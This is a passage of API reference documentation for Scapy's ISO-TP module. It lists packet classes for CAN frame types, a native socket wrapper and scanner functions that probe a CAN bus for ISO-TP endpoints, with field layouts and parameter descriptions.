 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  TYPE |      MESSAGE SIZE     |     EXTENDED MESSAGE SIZE     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |      DATA     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. ISOTP_FF                           


ISOTP_FF fields






	type

	BitEnumField

	1



	message_size

	BitField  (12 bits)

	0



	extended_message_size

	IntField (Cond)

	0



	data

	StrField

	b''















	
class scapy.contrib.isotp.ISOTP_FF_FD(_pkt, /, *, type=1, zero_field=0, message_size=0, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_packet.py#L405-L412]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  TYPE |       ZERO FIELD      |          MESSAGE SIZE         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |      DATA     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. ISOTP_FF_FD                         


ISOTP_FF_FD fields






	type

	BitEnumField

	1



	zero_field

	BitField  (12 bits)

	0



	message_size

	IntField

	0



	data

	StrField

	b''















	
class scapy.contrib.isotp.ISOTP_SF(_pkt, /, *, type=0, message_size=None, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_packet.py#L375-L381]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  TYPE |MESSAGE|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. ISOTP_SF                           


ISOTP_SF fields






	type

	BitEnumField

	0



	message_size

	BitFieldLenField  (4 bits)

	None



	data

	StrLenField

	b''















	
class scapy.contrib.isotp.ISOTP_SF_FD(_pkt, /, *, type=0, zero_field=0, message_size=None, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_packet.py#L384-L391]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  TYPE |ZERO FI|  MESSAGE SIZE |              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. ISOTP_SF_FD                         


ISOTP_SF_FD fields






	type

	BitEnumField

	0



	zero_field

	BitField  (4 bits)

	0



	message_size

	FieldLenField

	None



	data

	StrLenField

	b''















	
scapy.contrib.isotp.isotp_scan(sock: SuperSocket, scan_range: Iterable[int] = range(0, 2048), extended_addressing: bool = False, extended_scan_range: Iterable[int] = range(0, 256), noise_listen_time: int = 2, sniff_time: float = 0.1, output_format: str | None = None, can_interface: str | None = None, extended_can_id: bool = False, verify_results: bool = True, verbose: bool = False, stop_event: Event | None = None) → str | List[SuperSocket][source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_scanner.py#L290-L379]

	Scan for ISOTP Sockets on a bus and return findings

Scan for ISOTP Sockets in the defined range and returns found sockets
in a specified format. The format can be:


	text: human readable output


	code: python code for copy&paste


	json: json string


	sockets: if output format is not specified, ISOTPSockets will be
created and returned in a list





	Parameters:

	
	sock – CANSocket object to communicate with the bus under scan


	scan_range – range of CAN-Identifiers to scan. Default is 0x0 - 0x7ff


	extended_addressing – scan with ISOTP extended addressing


	extended_scan_range – range for ISOTP extended addressing values


	noise_listen_time – seconds to listen for default communication on
the bus


	sniff_time – time the scan waits for isotp flow control responses
after sending a first frame


	output_format – defines the format of the returned results
(text, code or sockets). Provide a string e.g.
“text”. Default is “socket”.


	can_interface – interface used to create the returned code/sockets


	extended_can_id – Use Extended CAN-Frames


	verify_results – Verify scan results. This will cause a second scan
of all possible candidates for ISOTP Sockets


	verbose – displays information during scan


	stop_event – Event object to asynchronously stop the scan






	Returns:

	










Submodules



	scapy.contrib.isotp.isotp_native_socket

	scapy.contrib.isotp.isotp_packet

	scapy.contrib.isotp.isotp_scanner

	scapy.contrib.isotp.isotp_soft_socket

	scapy.contrib.isotp.isotp_utils









            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.isotp.isotp_native_socket


	
class scapy.contrib.isotp.isotp_native_socket.ISOTPNativeSocket(iface: str | ~scapy.supersocket.SuperSocket | None = None, tx_id: int = 0, rx_id: int = 0, ext_address: int | None = None, rx_ext_address: int | None = None, bs: int = 0, stmin: int = 0, padding: bool = False, listen_only: bool = False, frame_txtime: int = 0, fd: bool = False, basecls: ~typing.Type[~scapy.packet.Packet] = <class 'scapy.contrib.isotp.isotp_packet.ISOTP'>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_native_socket.py#L101-L411]

	Bases: SuperSocket

ISOTPSocket using the can-isotp kernel module


	Parameters:

	
	iface – a CANSocket instance or an interface name


	tx_id – the CAN identifier of the sent CAN frames


	rx_id – the CAN identifier of the received CAN frames


	ext_address – the extended address of the sent ISOTP frames


	rx_ext_address – the extended address of the received ISOTP frames


	bs – block size sent in Flow Control ISOTP frames


	stmin – minimum desired separation time sent in
Flow Control ISOTP frames


	padding – If True, pads sending packets with 0x00 which not
count to the payload.
Does not affect receiving packets.


	listen_only – Does not send Flow Control frames if a First Frame is
received


	frame_txtime – Separation time between two CAN frames during send


	basecls – base class of the packets emitted by this socket









	
auxdata_available: bool = True

	




	
can_isotp_fc_options_fmt = '@3B'

	




	
can_isotp_ll_options_fmt = '@3B'

	




	
can_isotp_options_fmt = '@2I4B'

	




	
desc = 'read/write packets at a given CAN interface using CAN_ISOTP socket '

	




	
ins: socket

	




	
outs: socket | None

	




	
recv(x: int = 65535, **kwargs: Any) → Packet | None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_native_socket.py#L397-L411]

	




	
recv_raw(x: int = 65535) → Tuple[Type[Packet] | None, bytes | None, float | None][source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_native_socket.py#L361-L395]

	Receives a packet, then returns a tuple containing
(cls, pkt_data, time)






	
sockaddr_can_fmt = '@H3I'

	








	
class scapy.contrib.isotp.isotp_native_socket.addr_info[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_native_socket.py#L81-L84]

	Bases: Union


	
tp

	Structure/Union member










	
class scapy.contrib.isotp.isotp_native_socket.ifreq[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_native_socket.py#L94-L98]

	Bases: Structure


	
ifr_ifindex

	Structure/Union member






	
ifr_name

	Structure/Union member










	
class scapy.contrib.isotp.isotp_native_socket.sockaddr_can[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_native_socket.py#L87-L91]

	Bases: Structure


	
can_addr

	Structure/Union member






	
can_family

	Structure/Union member






	
can_ifindex

	Structure/Union member










	
class scapy.contrib.isotp.isotp_native_socket.tp[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_native_socket.py#L75-L78]

	Bases: Structure


	
rx_id

	Structure/Union member






	
tx_id

	Structure/Union member












            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.isotp.isotp_packet


	
class scapy.contrib.isotp.isotp_packet.ISOTP(_pkt, /, *, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_packet.py#L50-L207]

	Bases: Packet

Packet class for ISOTP messages. This class contains additional
slots for source address (tx_id), destination address (rx_id),
extended source address (ext_address) and
extended destination address (rx_ext_address) information. This information
gets filled from ISOTPSockets or the ISOTPMessageBuilder, if it
is available. Address information is not used for Packet comparison.


	Parameters:

	
	args – Arguments for Packet init, for example bytes string


	kwargs – Keyword arguments for Packet init.









	
aliastypes

	




	
comment: bytes | None

	




	
default_fields: Dict[str, Any]

	




	
static defragment(can_frames: List[Packet], use_extended_addressing: bool | None = None) → ISOTP | None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_packet.py#L166-L207]

	Helper function to defragment a list of CAN frames to one ISOTP
message


	Parameters:

	
	can_frames – A list of CAN frames


	use_extended_addressing – Specify if extended ISO-TP addressing
is used in the packets for
defragmentation.






	Returns:

	An ISOTP message containing the data of the CAN frames or None










	
direction: int | None

	




	
explicit

	




	
ext_address: int | None

	




	
fields: Dict[str, Any]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                            Fig. ISOTP                            


ISOTP fields






	data

	StrField

	b''











	
fieldtype: Dict[str, AnyField]

	




	
fragment(*args: Any, **kargs: Any) → List[Packet][source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_packet.py#L94-L164]

	Helper function to fragment an ISOTP message into multiple
CAN frames.


	Parameters:

	fd – type: Optional[bool]: will fragment the can frames
with size CAN_FD_MAX_DLEN



	Returns:

	A list of CAN frames










	
name

	




	
original

	




	
overload_fields: Dict[Type[Packet], Dict[str, Any]]

	




	
overloaded_fields: Dict[str, Any]

	




	
packetfields: List[AnyField]

	




	
parent

	




	
payload: Packet

	




	
post_transforms

	




	
raw_packet_cache: bytes | None

	




	
raw_packet_cache_fields: Dict[str, Any] | None

	




	
rx_ext_address: int | None

	




	
rx_id: int | None

	




	
sent_time: EDecimal | float | None

	




	
sniffed_on: _GlobInterfaceType | None

	




	
stop_dissection_after

	




	
time: EDecimal | float

	




	
tx_id: int | None

	




	
underlayer

	




	
validate_fields() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_packet.py#L76-L92]

	Helper function to validate information in tx_id, rx_id,
ext_address and rx_ext_address slots






	
wirelen: int | None

	








	
class scapy.contrib.isotp.isotp_packet.ISOTPHeader(_pkt, /, *, flags=<Flag 0 ()>, identifier=0, length=None, reserved=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_packet.py#L210-L267]

	Bases: CAN


	
aliastypes

	




	
extract_padding(p: bytes) → Tuple[bytes, bytes | None][source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_packet.py#L221-L223]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|FLAGS|                        IDENTIFIER                       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     LENGTH    |                    RESERVED                   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                         Fig. ISOTPHeader                         


ISOTPHeader fields






	flags

	FlagsField

	<Flag 0 ()>



	identifier

	XBitField  (29 bits)

	0



	length

	ByteField

	None



	reserved

	ThreeBytesField

	0











	
guess_payload_class(payload: bytes) → Type[Packet][source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_packet.py#L238-L267]

	ISO-TP encodes the frame type in the first nibble of a frame. This
is used to determine the payload_class


	Parameters:

	payload – payload bytes string



	Returns:

	Type of payload class










	
post_build(pkt: bytes, pay: bytes) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_packet.py#L225-L236]

	This will set the ByteField ‘length’ to the correct value.










	
class scapy.contrib.isotp.isotp_packet.ISOTPHeaderEA(_pkt, /, *, flags=<Flag 0 ()>, identifier=0, length=None, reserved=0, extended_address=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_packet.py#L305-L330]

	Bases: ISOTPHeader


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|FLAGS|                        IDENTIFIER                       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     LENGTH    |                    RESERVED                   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |EXTENDED ADDRES|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. ISOTPHeaderEA                        


ISOTPHeaderEA fields






	flags

	FlagsField

	<Flag 0 ()>



	identifier

	XBitField  (29 bits)

	0



	length

	ByteField

	None



	reserved

	ThreeBytesField

	0



	extended_address

	XByteField

	0











	
post_build(pkt: bytes, pay: bytes) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_packet.py#L317-L330]

	This will set the ByteField ‘length’ to the correct value.
‘chb(len(pay) + 1)’ is required, because the field ‘extended_address’
is counted as payload on the CAN layer










	
class scapy.contrib.isotp.isotp_packet.ISOTPHeaderEA_FD(_pkt, /, *, flags=<Flag 0 ()>, identifier=0, length=None, fd_flags=<Flag 4 (fd_frame)>, reserved=0, extended_address=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_packet.py#L333-L366]

	Bases: ISOTPHeaderEA


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|FLAGS|                        IDENTIFIER                       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     LENGTH    |    FD FLAGS   |            RESERVED           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|EXTENDED ADDRES|
+-+-+-+-+-+-+-+-+

                      Fig. ISOTPHeaderEA_FD                       


ISOTPHeaderEA_FD fields






	flags

	FlagsField

	<Flag 0 ()>



	identifier

	XBitField  (29 bits)

	0



	length

	ByteField

	None



	fd_flags

	FlagsField

	<Flag 4 (fd_frame)>



	reserved

	ShortField

	0



	extended_address

	XByteField

	0











	
post_build(pkt: bytes, pay: bytes) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_packet.py#L348-L366]

	








	
class scapy.contrib.isotp.isotp_packet.ISOTPHeader_FD(_pkt, /, *, flags=<Flag 0 ()>, identifier=0, length=None, fd_flags=<Flag 4 (fd_frame)>, reserved=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_packet.py#L270-L302]

	Bases: ISOTPHeader


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|FLAGS|                        IDENTIFIER                       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     LENGTH    |    FD FLAGS   |            RESERVED           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. ISOTPHeader_FD                        


ISOTPHeader_FD fields






	flags

	FlagsField

	<Flag 0 ()>



	identifier

	XBitField  (29 bits)

	0



	length

	ByteField

	None



	fd_flags

	FlagsField

	<Flag 4 (fd_frame)>



	reserved

	ShortField

	0











	
post_build(pkt: bytes, pay: bytes) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_packet.py#L284-L302]

	








	
class scapy.contrib.isotp.isotp_packet.ISOTP_CF(_pkt, /, *, type=2, index=0, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_packet.py#L415-L421]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  TYPE | INDEX |      DATA     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. ISOTP_CF                           


ISOTP_CF fields






	type

	BitEnumField

	2



	index

	BitField  (4 bits)

	0



	data

	StrField

	b''















	
class scapy.contrib.isotp.isotp_packet.ISOTP_FC(_pkt, /, *, type=3, fc_flag=0, block_size=0, separation_time=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_packet.py#L424-L433]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  TYPE |FC FLAG|   BLOCK SIZE  |SEPARATION TIME|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. ISOTP_FC                           


ISOTP_FC fields






	type

	BitEnumField

	3



	fc_flag

	BitEnumField

	0



	block_size

	ByteField

	0



	separation_time

	ByteField

	0















	
class scapy.contrib.isotp.isotp_packet.ISOTP_FF(_pkt, /, *, type=1, message_size=0, extended_message_size=0, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_packet.py#L394-L402]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  TYPE |      MESSAGE SIZE     |     EXTENDED MESSAGE SIZE     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |      DATA     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. ISOTP_FF                           


ISOTP_FF fields






	type

	BitEnumField

	1



	message_size

	BitField  (12 bits)

	0



	extended_message_size

	IntField (Cond)

	0



	data

	StrField

	b''















	
class scapy.contrib.isotp.isotp_packet.ISOTP_FF_FD(_pkt, /, *, type=1, zero_field=0, message_size=0, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_packet.py#L405-L412]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  TYPE |       ZERO FIELD      |          MESSAGE SIZE         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |      DATA     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. ISOTP_FF_FD                         


ISOTP_FF_FD fields






	type

	BitEnumField

	1



	zero_field

	BitField  (12 bits)

	0



	message_size

	IntField

	0



	data

	StrField

	b''















	
class scapy.contrib.isotp.isotp_packet.ISOTP_SF(_pkt, /, *, type=0, message_size=None, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_packet.py#L375-L381]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  TYPE |MESSAGE|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. ISOTP_SF                           


ISOTP_SF fields






	type

	BitEnumField

	0



	message_size

	BitFieldLenField  (4 bits)

	None



	data

	StrLenField

	b''















	
class scapy.contrib.isotp.isotp_packet.ISOTP_SF_FD(_pkt, /, *, type=0, zero_field=0, message_size=None, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_packet.py#L384-L391]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  TYPE |ZERO FI|  MESSAGE SIZE |              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. ISOTP_SF_FD                         


ISOTP_SF_FD fields






	type

	BitEnumField

	0



	zero_field

	BitField  (4 bits)

	0



	message_size

	FieldLenField

	None



	data

	StrLenField

	b''

















            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.isotp.isotp_scanner


	
scapy.contrib.isotp.isotp_scanner.filter_periodic_packets(packet_dict: Dict[int, Tuple[Packet, int]]) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_scanner.py#L83-L115]

	Filter to remove periodic packets from packet_dict

ISOTP-Filter for periodic packets (same ID, always same time-gaps)
Deletes periodic packets in packet_dict


	Parameters:

	packet_dict – Dictionary, where the filter is applied










	
scapy.contrib.isotp.isotp_scanner.generate_code_output(found_packets: Dict[int, Tuple[Packet, int]], can_interface: str | None = 'iface', extended_addressing: bool = False) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_scanner.py#L427-L469]

	Generate a copy&past-able output from the result of the scan or
the scan_extended function.


	Parameters:

	
	found_packets – result of the scan or scan_extended function


	can_interface – description string for a CAN interface to be
used for the creation of the output.


	extended_addressing – print results from a scan with ISOTP
extended addressing






	Returns:

	Python-code as string to generate all found sockets










	
scapy.contrib.isotp.isotp_scanner.generate_isotp_list(found_packets: Dict[int, Tuple[Packet, int]], can_interface: SuperSocket | str, extended_addressing: bool = False) → List[SuperSocket][source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_scanner.py#L515-L554]

	Generate a list of ISOTPSocket objects from the result of the scan or
the scan_extended function.


	Parameters:

	
	found_packets – result of the scan or scan_extended function


	can_interface – description string for a CAN interface to be
used for the creation of the output.


	extended_addressing – print results from a scan with ISOTP
extended addressing






	Returns:

	A list of all found ISOTPSockets










	
scapy.contrib.isotp.isotp_scanner.generate_json_output(found_packets: Dict[int, Tuple[Packet, int]], can_interface: str | None = 'iface', extended_addressing: bool = False) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_scanner.py#L472-L512]

	Generate a list of ISOTPSocket objects from the result of the scan or
the scan_extended function.


	Parameters:

	
	found_packets – result of the scan or scan_extended function


	can_interface – description string for a CAN interface to be
used for the creation of the output.


	extended_addressing – print results from a scan with ISOTP
extended addressing






	Returns:

	A list of all found ISOTPSockets










	
scapy.contrib.isotp.isotp_scanner.generate_text_output(found_packets: Dict[int, Tuple[Packet, int]], extended_addressing: bool = False) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_scanner.py#L382-L424]

	Generate a human readable output from the result of the scan or the
scan_extended function.


	Parameters:

	
	found_packets – result of the scan or scan_extended function


	extended_addressing – print results from a scan with
ISOTP extended addressing






	Returns:

	human readable scan results










	
scapy.contrib.isotp.isotp_scanner.get_isotp_fc(id_value: int, id_list: List[int] | Dict[int, Tuple[Packet, int]], noise_ids: List[int] | None, extended: bool, packet: Packet) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_scanner.py#L118-L164]

	Callback for sniff function when packet received

If received packet is a FlowControl and not in noise_ids append it
to id_list.


	Parameters:

	
	id_value – packet id of send packet


	id_list – list of received IDs


	noise_ids – list of packet IDs which will not be considered when
received during scan


	extended – boolean if extended scan


	packet – received packet













	
scapy.contrib.isotp.isotp_scanner.get_isotp_packet(identifier: int = 0, extended: bool = False, extended_can_id: bool = False) → Packet[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_scanner.py#L58-L80]

	Craft ISO-TP packet


	Parameters:

	
	identifier – identifier of crafted packet


	extended – boolean if packet uses extended address


	extended_can_id – boolean if CAN should use extended Ids






	Returns:

	Crafted Packet










	
scapy.contrib.isotp.isotp_scanner.isotp_scan(sock: SuperSocket, scan_range: Iterable[int] = range(0, 2048), extended_addressing: bool = False, extended_scan_range: Iterable[int] = range(0, 256), noise_listen_time: int = 2, sniff_time: float = 0.1, output_format: str | None = None, can_interface: str | None = None, extended_can_id: bool = False, verify_results: bool = True, verbose: bool = False, stop_event: Event | None = None) → str | List[SuperSocket][source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_scanner.py#L290-L379]

	Scan for ISOTP Sockets on a bus and return findings

Scan for ISOTP Sockets in the defined range and returns found sockets
in a specified format. The format can be:


	text: human readable output


	code: python code for copy&paste


	json: json string


	sockets: if output format is not specified, ISOTPSockets will be
created and returned in a list





	Parameters:

	
	sock – CANSocket object to communicate with the bus under scan


	scan_range – range of CAN-Identifiers to scan. Default is 0x0 - 0x7ff


	extended_addressing – scan with ISOTP extended addressing


	extended_scan_range – range for ISOTP extended addressing values


	noise_listen_time – seconds to listen for default communication on
the bus


	sniff_time – time the scan waits for isotp flow control responses
after sending a first frame


	output_format – defines the format of the returned results
(text, code or sockets). Provide a string e.g.
“text”. Default is “socket”.


	can_interface – interface used to create the returned code/sockets


	extended_can_id – Use Extended CAN-Frames


	verify_results – Verify scan results. This will cause a second scan
of all possible candidates for ISOTP Sockets


	verbose – displays information during scan


	stop_event – Event object to asynchronously stop the scan






	Returns:

	










	
scapy.contrib.isotp.isotp_scanner.scan(sock: SuperSocket, scan_range: Iterable[int] = range(0, 2048), noise_ids: List[int] | None = None, sniff_time: float = 0.1, extended_can_id: bool = False, verify_results: bool = True, stop_event: Event | None = None) → Dict[int, Tuple[Packet, int]][source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_scanner.py#L167-L218]

	Scan and return dictionary of detections

ISOTP-Scan - NO extended IDs
found_packets = Dictionary with Send-to-ID as
key and a tuple (received packet, Recv_ID)


	Parameters:

	
	sock – socket for can interface


	scan_range – hexadecimal range of IDs to scan. Default is 0x0 - 0x7ff


	noise_ids – list of packet IDs which will not be tested during scan


	sniff_time – time the scan waits for isotp flow control responses
after sending a first frame


	extended_can_id – Send extended can frames


	verify_results – Verify scan results. This will cause a second scan
of all possible candidates for ISOTP Sockets


	stop_event – Event object to asynchronously stop the scan






	Returns:

	Dictionary with all found packets










	
scapy.contrib.isotp.isotp_scanner.scan_extended(sock: SuperSocket, scan_range: Iterable[int] = range(0, 2048), scan_block_size: int = 32, extended_scan_range: Iterable[int] = range(0, 256), noise_ids: List[int] | None = None, sniff_time: float = 0.1, extended_can_id: bool = False, stop_event: Event | None = None) → Dict[int, Tuple[Packet, int]][source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/isotp/isotp_scanner.py#L221-L287]

	Scan with ISOTP extended addresses and return dictionary of detections

If an answer-packet found -> slow scan with
single packages with extended ID 0 - 255
found_packets = Dictionary with Send-to-ID
